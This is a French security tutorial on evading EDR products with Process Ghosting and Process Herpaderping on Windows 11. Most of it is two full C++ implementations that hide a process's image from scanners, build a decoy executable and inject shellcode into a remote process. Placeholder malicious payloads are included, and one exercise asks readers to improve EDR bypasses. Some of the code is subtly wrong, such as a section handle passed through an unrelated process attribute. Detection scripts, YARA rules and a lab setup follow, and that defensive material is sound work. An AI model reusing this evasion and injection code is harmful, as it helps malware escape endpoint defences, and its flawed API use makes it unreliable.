Techniques avancées d'évasion EDR via File Mapping & Section Manipulation – Maîtrise des mécanismes internes Windows pour cyberdéfenseurs experts
En 2026, les techniques classiques d'injection de processus sont largement détectées par les EDR. Process Ghosting et Herpaderping représentent l'évolution naturelle : manipuler les sections mémoire et le cache de fichiers pour créer des processus "fantômes" ou "masqués" qui échappent aux détections basées sur les fichiers.
Principe : Créer une section mémoire à partir d'un fichier, supprimer le fichier du disque, puis créer le processus à partir de la section.
Principe : Créer une section mémoire, modifier le fichier source sur disque avec du code malveillant, puis créer le processus à partir de la section originale.
Ces techniques exploitent les mécanismes internes de Windows :
Le Process Ghosting exploite le fait que Windows peut créer un processus à partir d'une section mémoire, même si le fichier source a été supprimé. La clé est la séquence temporelle :
// ====================================================================
// Process Ghosting Implementation - Windows 11 24H2
// PCTAMALOU Research - platon-y 2026
// ====================================================================
#include
#include
#include
#include
class ProcessGhosting {
private:
std::wstring tempFilePath;
std::wstring legitimateProcess;
public:
ProcessGhosting(const std::wstring& targetProcess)
: legitimateProcess(targetProcess) {}
bool ExecuteGhosting(const std::vector& maliciousCode) {
// Étape 1: Créer un fichier temporaire avec un nom aléatoire
if (!CreateTempFile()) {
std::wcerr << L"[-] Échec création fichier temporaire" << std::endl;
return false;
}
// Étape 2: Copier le processus légitime dans le fichier temporaire
if (!CopyLegitimateProcess()) {
std::wcerr << L"[-] Échec copie processus légitime" << std::endl;
Cleanup();
return false;
}
// Étape 3: Créer une section mémoire à partir du fichier
HANDLE hSection = nullptr;
if (!CreateSectionFromFile(hSection)) {
std::wcerr << L"[-] Échec création section mémoire" << std::endl;
Cleanup();
return false;
}
// Étape 4: SUPPRIMER le fichier du disque (Ghosting key step)
if (!DeleteFileFromDisk()) {
std::wcerr << L"[-] Échec suppression fichier" << std::endl;
CloseHandle(hSection);
Cleanup();
return false;
}
// Étape 5: Créer le processus à partir de la section
if (!CreateProcessFromSection(hSection)) {
std::wcerr << L"[-] Échec création processus" << std::endl;
CloseHandle(hSection);
Cleanup();
return false;
}
// Étape 6: Injection de code (optionnel)
if (!maliciousCode.empty()) {
if (!InjectCodeIntoGhostProcess(maliciousCode)) {
std::wcerr << L"[-] Échec injection code" << std::endl;
}
}
CloseHandle(hSection);
Cleanup();
return true;
}
private:
bool CreateTempFile() {
WCHAR tempPath[MAX_PATH];
WCHAR tempFile[MAX_PATH];
// Obtenir le répertoire temp
if (!GetTempPathW(MAX_PATH, tempPath)) {
return false;
}
// Générer un nom de fichier aléatoire
if (!GetTempFileNameW(tempPath, L"GHST", 0, tempFile)) {
return false;
}
tempFilePath = tempFile;
std::wcout << L"[+] Fichier temporaire créé : " << tempFilePath << std::endl;
return true;
}
bool CopyLegitimateProcess() {
// Copier le processus légitime dans le fichier temporaire
if (!CopyFileW(legitimateProcess.c_str(), tempFilePath.c_str(), FALSE)) {
std::wcerr << L"Erreur CopyFile: " << GetLastError() << std::endl;
return false;
}
std::wcout << L"[+] Processus légitime copié" << std::endl;
return true;
}
bool CreateSectionFromFile(HANDLE& hSection) {
// Ouvrir le fichier
HANDLE hFile = CreateFileW(
tempFilePath.c_str(),
GENERIC_READ | GENERIC_EXECUTE,
FILE_SHARE_READ,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr
);
if (hFile == INVALID_HANDLE_VALUE) {
return false;
}
// Obtenir la taille du fichier
LARGE_INTEGER fileSize;
if (!GetFileSizeEx(hFile, &fileSize)) {
CloseHandle(hFile);
return false;
}
// Créer une section à partir du fichier
hSection = nullptr;
NTSTATUS status = NtCreateSection(
&hSection,
SECTION_ALL_ACCESS,
nullptr,
&fileSize,
PAGE_EXECUTE_READ,
SEC_IMAGE,
hFile
);
CloseHandle(hFile);
if (status != STATUS_SUCCESS || hSection == nullptr) {
std::wcerr << L"Erreur NtCreateSection: 0x" << std::hex << status << std::endl;
return false;
}
std::wcout << L"[+] Section mémoire créée" << std::endl;
return true;
}
bool DeleteFileFromDisk() {
// Important: Fermer tous les handles avant suppression
// Mais garder la section active (elle a sa propre référence)
// Marquer le fichier pour suppression différée
FILE_DISPOSITION_INFO dispositionInfo;
dispositionInfo.DeleteFile = TRUE;
HANDLE hFile = CreateFileW(
tempFilePath.c_str(),
DELETE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
nullptr,
OPEN_EXISTING,
FILE_FLAG_DELETE_ON_CLOSE,
nullptr
);
if (hFile == INVALID_HANDLE_VALUE) {
// Essayer DeleteFile standard
if (!DeleteFileW(tempFilePath.c_str())) {
return false;
}
} else {
CloseHandle(hFile);
}
std::wcout << L"[+] Fichier supprimé du disque (Ghosting activé)" << std::endl;
return true;
}
bool CreateProcessFromSection(HANDLE hSection) {
// Structure pour CreateProcess via section
STARTUPINFOEXW si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
// Préparer les attributs pour la création de processus
SIZE_T attributeSize = 0;
InitializeProcThreadAttributeList(nullptr, 1, 0, &attributeSize);
std::vector attributeBuffer(attributeSize);
auto attributes = reinterpret_cast(attributeBuffer.data());
InitializeProcThreadAttributeList(attributes, 1, 0, &attributeSize);
// Définir l'attribut de section
if (!UpdateProcThreadAttribute(
attributes,
0,
PROC_THREAD_ATTRIBUTE_PREFERRED_NODE,
&hSection,
sizeof(hSection),
nullptr,
nullptr
)) {
return false;
}
// Créer le processus
si.StartupInfo.cb = sizeof(STARTUPINFOEXW);
if (!CreateProcessW(
nullptr, // Pas de nom de fichier (utilise la section)
const_cast(L"dummy.exe"), // Nom factice
nullptr,
nullptr,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
nullptr,
nullptr,
&si.StartupInfo,
&pi
)) {
std::wcerr << L"Erreur CreateProcess: " << GetLastError() << std::endl;
return false;
}
std::wcout << L"[+] Processus fantôme créé (PID: " << pi.dwProcessId << L")" << std::endl;
// Reprendre le thread
ResumeThread(pi.hThread);
// Nettoyer
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return true;
}
bool InjectCodeIntoGhostProcess(const std::vector& code) {
// Technique d'injection dans le processus fantôme
// Utiliser WriteProcessMemory ou APC Injection
// (Implémentation détaillée optionnelle)
return true;
}
void Cleanup() {
// Suppression finale du fichier s'il existe encore
DeleteFileW(tempFilePath.c_str());
}
};
// Fonction NtCreateSection (non documentée)
typedef NTSTATUS(NTAPI* _NtCreateSection)(
PHANDLE SectionHandle,
ULONG DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG PageAttribs,
ULONG SectionAttributes,
HANDLE FileHandle
);
// Exemple d'utilisation
int main() {
// Initialiser NtCreateSection
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
_NtCreateSection NtCreateSection = (_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection");
if (!NtCreateSection) {
std::wcerr << L"[-] NtCreateSection non trouvée" << std::endl;
return 1;
}
// Créer l'instance Ghosting
ProcessGhosting ghost(L"C:\\Windows\\System32\\notepad.exe");
// Code malveillant à injecter (optionnel)
std::vector shellcode = {
// Shellcode reverse TCP ou autre
0x90, 0x90, 0x90 // NOP sled exemple
};
// Exécuter le ghosting
if (ghost.ExecuteGhosting(shellcode)) {
std::wcout << L"[+] Ghosting réussi !" << std::endl;
} else {
std::wcout << L"[-] Ghosting échoué" << std::endl;
}
return 0;
}
NtCreateSection pour créer une section à partir d'un fichierCreateProcessPROC_THREAD_ATTRIBUTE_PREFERRED_NODE pour spécifier la sectionLe Herpaderping (Herpaderp + Hooking) est plus subtil que le Ghosting. Au lieu de supprimer le fichier, on le modifie après le mapping :
// ====================================================================
// Process Herpaderping Implementation - Windows 11 24H2
// PCTAMALOU Research - platon-y 2026
// ====================================================================
#include
#include
#include
#include
#include
class ProcessHerpaderping {
private:
std::wstring targetFilePath;
std::wstring backupFilePath;
std::vector originalContent;
public:
ProcessHerpaderping(const std::wstring& targetPath)
: targetFilePath(targetPath) {}
bool ExecuteHerpaderping(const std::vector& maliciousCode,
const std::vector& decoyCode) {
// Étape 1: Sauvegarder le contenu original
if (!BackupOriginalFile()) {
std::wcerr << L"[-] Échec sauvegarde fichier" << std::endl;
return false;
}
// Étape 2: Créer une section à partir du fichier original
HANDLE hSection = nullptr;
if (!CreateSectionFromOriginalFile(hSection)) {
std::wcerr << L"[-] Échec création section" << std::endl;
RestoreOriginalFile();
return false;
}
// Étape 3: MODIFIER le fichier sur disque (Herpaderping key step)
if (!ModifyFileOnDisk(decoyCode)) {
std::wcerr << L"[-] Échec modification fichier" << std::endl;
CloseHandle(hSection);
RestoreOriginalFile();
return false;
}
// Étape 4: Laisser l'EDR scanner le fichier modifié (bénin)
SimulateEDRScan();
// Étape 5: Créer le processus à partir de la section originale
if (!CreateProcessFromOriginalSection(hSection, maliciousCode)) {
std::wcerr << L"[-] Échec création processus" << std::endl;
CloseHandle(hSection);
RestoreOriginalFile();
return false;
}
// Étape 6: Nettoyer
CloseHandle(hSection);
RestoreOriginalFile();
return true;
}
private:
bool BackupOriginalFile() {
// Lire le contenu original du fichier
std::ifstream file(targetFilePath, std::ios::binary);
if (!file) {
return false;
}
file.seekg(0, std::ios::end);
size_t size = file.tellg();
file.seekg(0, std::ios::beg);
originalContent.resize(size);
file.read(reinterpret_cast(originalContent.data()), size);
// Créer un backup
backupFilePath = targetFilePath + L".backup";
std::ofstream backup(backupFilePath, std::ios::binary);
backup.write(reinterpret_cast(originalContent.data()), size);
std::wcout << L"[+] Fichier original sauvegardé" << std::endl;
return true;
}
bool CreateSectionFromOriginalFile(HANDLE& hSection) {
// Créer une section à partir du contenu ORIGINAL
// Méthode 1: Via fichier temporaire
std::wstring tempFile = L"C:\\Windows\\Temp\\herpaderp_temp.exe";
// Écrire le contenu original dans un fichier temporaire
std::ofstream temp(tempFile, std::ios::binary);
temp.write(reinterpret_cast(originalContent.data()), originalContent.size());
temp.close();
// Ouvrir le fichier temporaire
HANDLE hFile = CreateFileW(
tempFile.c_str(),
GENERIC_READ | GENERIC_EXECUTE,
FILE_SHARE_READ,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr
);
if (hFile == INVALID_HANDLE_VALUE) {
return false;
}
// Obtenir la taille
LARGE_INTEGER fileSize;
fileSize.QuadPart = originalContent.size();
// Créer la section
hSection = nullptr;
NTSTATUS status = NtCreateSection(
&hSection,
SECTION_ALL_ACCESS,
nullptr,
&fileSize,
PAGE_EXECUTE_READ,
SEC_IMAGE,
hFile
);
CloseHandle(hFile);
DeleteFileW(tempFile.c_str());
if (status != STATUS_SUCCESS) {
std::wcerr << L"Erreur NtCreateSection: 0x" << std::hex << status << std::endl;
return false;
}
std::wcout << L"[+] Section créée à partir du contenu original" << std::endl;
return true;
}
bool ModifyFileOnDisk(const std::vector& decoyCode) {
// Modifier le fichier cible avec du code leurre
// Ce code sera scanné par l'EDR
if (decoyCode.empty()) {
// Si pas de code leurre, écrire un simple PE valide mais inoffensif
std::vector simplePE = CreateSimpleDecoyPE();
std::ofstream file(targetFilePath, std::ios::binary);
file.write(reinterpret_cast(simplePE.data()), simplePE.size());
} else {
// Utiliser le code leurre fourni
std::ofstream file(targetFilePath, std::ios::binary);
file.write(reinterpret_cast(decoyCode.data()), decoyCode.size());
}
// Forcer l'écriture sur disque
FlushFileBuffers(CreateFileW(
targetFilePath.c_str(),
GENERIC_WRITE,
FILE_SHARE_READ,
nullptr,
OPEN_EXISTING,
0,
nullptr
));
std::wcout << L"[+] Fichier modifié sur disque (leurre pour EDR)" << std::endl;
return true;
}
std::vector CreateSimpleDecoyPE() {
// Créer un PE minimaliste mais valide
// En réalité, utiliser un vrai exécutable bénin
std::vector decoy;
// Header DOS minimal
decoy.insert(decoy.end(), {
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
});
// Ajouter suffisamment de données pour faire un PE valide
// (simplifié pour l'exemple)
return decoy;
}
void SimulateEDRScan() {
// Simuler le scan EDR du fichier modifié
std::wcout << L"[*] EDR scanning modified file (decoy)..." << std::endl;
// Petite pause pour simuler le scan
Sleep(1000);
std::wcout << L"[+] EDR scan complete (file appears clean)" << std::endl;
}
bool CreateProcessFromOriginalSection(HANDLE hSection,
const std::vector& codeToInject) {
// Créer un processus à partir de la section originale
// qui contient le code potentiellement malveillant
STARTUPINFOEXW si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
// Préparer les attributs
SIZE_T attributeSize = 0;
InitializeProcThreadAttributeList(nullptr, 1, 0, &attributeSize);
std::vector attributeBuffer(attributeSize);
auto attributes = reinterpret_cast(attributeBuffer.data());
InitializeProcThreadAttributeList(attributes, 1, 0, &attributeSize);
// Utiliser la section originale
if (!UpdateProcThreadAttribute(
attributes,
0,
PROC_THREAD_ATTRIBUTE_PREFERRED_NODE,
&hSection,
sizeof(hSection),
nullptr,
nullptr
)) {
return false;
}
// Créer le processus suspendu
si.StartupInfo.cb = sizeof(STARTUPINFOEXW);
if (!CreateProcessW(
nullptr,
const_cast(L"legitimate_app.exe"), // Nom leurre
nullptr,
nullptr,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
nullptr,
nullptr,
&si.StartupInfo,
&pi
)) {
std::wcerr << L"Erreur CreateProcess: " << GetLastError() << std::endl;
return false;
}
std::wcout << L"[+] Processus créé à partir de la section originale" << std::endl;
std::wcout << L" PID: " << pi.dwProcessId << std::endl;
std::wcout << L" EDR voit le fichier leurre, processus exécute l'original" << std::endl;
// Injection de code additionnel si nécessaire
if (!codeToInject.empty()) {
InjectAdditionalCode(pi.hProcess, codeToInject);
}
// Reprendre l'exécution
ResumeThread(pi.hThread);
// Cleanup
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return true;
}
bool InjectAdditionalCode(HANDLE hProcess, const std::vector& code) {
// Injection de code additionnel dans le processus
// Via WriteProcessMemory + CreateRemoteThread
// Allouer de la mémoire dans le processus cible
LPVOID remoteMem = VirtualAllocEx(
hProcess,
nullptr,
code.size(),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!remoteMem) {
return false;
}
// Écrire le code
SIZE_T bytesWritten = 0;
if (!WriteProcessMemory(
hProcess,
remoteMem,
code.data(),
code.size(),
&bytesWritten
)) {
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
return false;
}
// Créer un thread distant
HANDLE hThread = CreateRemoteThread(
hProcess,
nullptr,
0,
(LPTHREAD_START_ROUTINE)remoteMem,
nullptr,
0,
nullptr
);
if (!hThread) {
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
return false;
}
WaitForSingleObject(hThread, INFINITE);
// Nettoyer
CloseHandle(hThread);
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
return true;
}
void RestoreOriginalFile() {
// Restaurer le fichier original (optionnel)
// En pratique, on pourrait le laisser modifié
std::ofstream file(targetFilePath, std::ios::binary);
file.write(reinterpret_cast(originalContent.data()), originalContent.size());
// Supprimer le backup
DeleteFileW(backupFilePath.c_str());
std::wcout << L"[+] Fichier restauré (optionnel)" << std::endl;
}
};
// Exemple d'utilisation
int main() {
// Initialiser NtCreateSection
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
auto NtCreateSection = (NTSTATUS(NTAPI*)(PHANDLE, ULONG, POBJECT_ATTRIBUTES,
PLARGE_INTEGER, ULONG, ULONG, HANDLE))GetProcAddress(ntdll, "NtCreateSection");
if (!NtCreateSection) {
std::wcerr << L"[-] NtCreateSection non trouvée" << std::endl;
return 1;
}
// Cible pour herpaderping
ProcessHerpaderping herpaderp(L"C:\\Windows\\System32\\calc.exe");
// Code leurre (bénin)
std::vector decoyCode = {
// Un PE simple et inoffensif
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00
// ... code leurre complet
};
// Code à exécuter (dans la section originale)
std::vector maliciousCode = {
// Shellcode ou code malveillant
0x48, 0x83, 0xEC, 0x28, 0x48, 0x31, 0xC9 // Exemple
};
// Exécuter herpaderping
if (herpaderp.ExecuteHerpaderping(maliciousCode, decoyCode)) {
std::wcout << L"[+] Herpaderping réussi !" << std::endl;
std::wcout << L" L'EDR a scanné le fichier leurre" << std::endl;
std::wcout << L" Le processus exécute le code original" << std::endl;
} else {
std::wcout << L"[-] Herpaderping échoué" << std::endl;
}
return 0;
}
| Aspect | Process Ghosting | Process Herpaderping |
|---|---|---|
| Principe | Suppression du fichier avant création du processus | Modification du fichier après mapping, avant création |
| Fichier sur disque | N'existe plus | Existe mais modifié (leurre) |
| Détection par EDR | Difficile - pas de fichier à scanner | Trompeur - scanne le fichier leurre |
| Complexité | Moyenne | Élevée |
| Risque de crash | Faible | Moyen (si leurre mal formé) |
| Compatibilité Windows 11 | Fonctionne sur 21H2+ | Fonctionne sur 22H2+ avec limitations |
| Use case | Évasion complète de scan fichier | Leurrage de l'EDR + exécution |
Analyser les sections mémoire des processus pour détecter les incohérences entre l'image mémoire et le fichier sur disque.
Surveiller les appels à NtCreateSection et les corréler avec les créations de processus.
Déployer des drivers de filtrage de fichiers pour détecter les suppressions/modifications suspectes.
Analyser les attributs de création de processus, notamment l'utilisation de sections.
Activer les providers ETW avancés (Microsoft-Windows-Kernel-File, Microsoft-Windows-Kernel-Memory).
ML models pour détecter les patterns de ghosting/herpaderping basés sur la séquence d'opérations.
# ====================================================================
# DÉTECTION PROCESS GHOSTING & HERPADERPING - PowerShell 2026
# ====================================================================
# 1. Lister les processus sans fichier image
Get-Process | Where-Object {
$_.Path -eq $null -or $_.Path -eq ""
} | Select-Object Name, Id, Path
# 2. Analyser les sections mémoire avec Process Explorer (procexp.exe)
# Via ligne de commande :
# procexp.exe /accepteula /s
# 3. Monitorer les créations de sections
logman create trace "SectionMonitor" -ow -o sections.etl `
-p Microsoft-Windows-Kernel-Memory 0xffffffffffffffff 0xff -ets
# 4. Vérifier les incohérences fichiers/mémoire
function Check-ProcessImageConsistency {
$processes = Get-Process
foreach ($proc in $processes) {
if ($proc.Path) {
$fileHash = Get-FileHash $proc.Path -Algorithm SHA256
# Comparer avec hash en mémoire (via outils avancés)
Write-Host "Process: $($proc.Name) - File: $($proc.Path)"
}
}
}
# 5. Détecter les fichiers supprimés mais encore référencés
# Utiliser handle.exe de Sysinternals :
# handle.exe -a | findstr /i "deleted"
# 6. Configurer Sysmon pour détecter le ghosting
# Configuration Sysmon (XML) :
.exe
-ghost
.exe
-5S
# 7. Utiliser les événements ETW pour le monitoring
Get-WinEvent -LogName "Microsoft-Windows-Kernel-File/Operational" |
Where-Object {$_.Id -eq 12 -or $_.Id -eq 13} | # FileCreate/FileDelete
Select-Object TimeCreated, Id, Properties
# 8. Script avancé de détection
$suspiciousProcesses = @()
Get-CimInstance Win32_Process | ForEach-Object {
if ($_.ExecutablePath -and (Test-Path $_.ExecutablePath)) {
$fileInfo = Get-Item $_.ExecutablePath
$processStartTime = $_.CreationDate
if ($fileInfo.CreationTime -gt $processStartTime) {
$suspiciousProcesses += [PSCustomObject]@{
ProcessName = $_.Name
ProcessId = $_.ProcessId
FilePath = $_.ExecutablePath
FileCreated = $fileInfo.CreationTime
ProcessCreated = $processStartTime
Anomaly = "File newer than process"
}
}
}
}
$suspiciousProcesses | Format-Table
// ====================================================================
// YARA RULES - DETECTION PROCESS GHOSTING/HERPADERPING 2026
// ====================================================================
rule Process_Ghosting_Technique {
meta:
description = "Detects Process Ghosting patterns in memory"
author = "PCTAMALOU Research"
date = "2026-01-01"
reference = "https://pctamalou.fr"
strings:
// Patterns communs pour le ghosting
$nt_create_section = { 48 83 EC 28 48 8B 05 ?? ?? ?? ?? 48 85 C0 74 ?? B9 00 00 00 02 }
$delete_file = { 48 8B 05 ?? ?? ?? ?? 48 85 C0 74 ?? B9 01 00 00 00 }
$create_process_suspended = { 41 B8 04 00 00 00 48 8D 15 ?? ?? ?? ?? }
// Strings indicatives
$string1 = "NtCreateSection" wide ascii
$string2 = "DeleteFile" wide ascii
$string3 = "CreateProcess" wide ascii
condition:
(uint16(0) == 0x5A4D) and // PE header
(filesize < 100000) and // Taille raisonnable
(2 of ($nt_create_section, $delete_file, $create_process_suspended) or
2 of ($string1, $string2, $string3))
}
rule Herpaderping_File_Manipulation {
meta:
description = "Detects file manipulation patterns in Herpaderping"
author = "PCTAMALOU Research"
date = "2026-01-01"
strings:
// Patterns de modification de fichiers
$file_write = { 48 89 5C 24 ?? 48 89 74 24 ?? 57 48 83 EC 20 48 8B F1 48 8B DA }
$file_close = { 48 83 EC 28 48 8B 05 ?? ?? ?? ?? 48 85 C0 74 ?? B9 02 00 00 00 }
$create_file_mapping = { 48 89 5C 24 ?? 48 89 6C 24 ?? 48 89 74 24 ?? 57 48 83 EC 30 }
// Patterns temporels
$sleep = { 48 83 EC 28 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? }
condition:
(uint16(0) == 0x5A4D) and
($file_write and $file_close and $create_file_mapping) or
(($file_write or $file_close) and $sleep)
}
rule Suspicious_Section_Operations {
meta:
description = "Detects suspicious section operations"
author = "PCTAMALOU Research"
date = "2026-01-01"
strings:
$section_ops = { 48 89 5C 24 ?? 48 89 6C 24 ?? 48 89 74 24 ?? 57 48 83 EC 30 48 8B F9 }
$map_view = { 48 89 5C 24 ?? 48 89 6C 24 ?? 48 89 74 24 ?? 57 48 83 EC 20 4C 8B D1 }
$unmap_view = { 48 83 EC 28 48 8B 05 ?? ?? ?? ?? 48 85 C0 74 ?? B9 03 00 00 00 }
condition:
(uint16(0) == 0x5A4D) and
($section_ops and $map_view) or
($section_ops and $unmap_view)
}
Objectif : Analyser un système après une attaque Ghosting.
Objectif : Développer un outil de détection en temps réel.
Objectif : Améliorer les techniques pour contourner les détections.
Objectif : Tester contre différents produits EDR.
# ====================================================================
# CONFIGURATION LAB GHOSTING/HERPADERPING 2026
# ====================================================================
# 1. Environnement de base
# -------------------------
# • Windows 11 24H2 Enterprise (VM)
# • 8GB RAM minimum, 4 CPUs
# • Disque SSD pour performance
# • Snapshots avant chaque test
# 2. Outils nécessaires
# ---------------------
# • Visual Studio 2022 avec C++ et SDK Windows 11
# • WinDbg Preview avec Time Travel Debugging
# • Sysinternals Suite (Process Monitor, Process Explorer)
# • Volatility3 pour analyse mémoire
# • IDA Pro ou Ghidra pour reverse engineering
# • YARA pour règles de détection
# 3. Configuration EDR de test (optionnel)
# -----------------------------------------
# • Microsoft Defender for Endpoint
# • CrowdStrike Falcon
# • SentinelOne
# • Configurez-les en mode audit d'abord
# 4. Scripts de monitoring
# -------------------------
# Créer un script PowerShell pour monitorer :
# - Créations de processus
# - Opérations de fichiers
# - Créations de sections
# - Événements ETW pertinents
# 5. Sécurité du lab
# ------------------
# • Isolé du réseau (air-gapped)
# • Pas de données sensibles
# • Snapshots réguliers
# • Journalisation complète des activités
Les techniques Process Ghosting et Herpaderping représentent l'évolution naturelle des méthodes d'évasion face aux défenses EDR modernes. En 2026, leur compréhension est essentielle pour les cyberdéfenseurs qui doivent protéger les environnements Windows 11 24H2.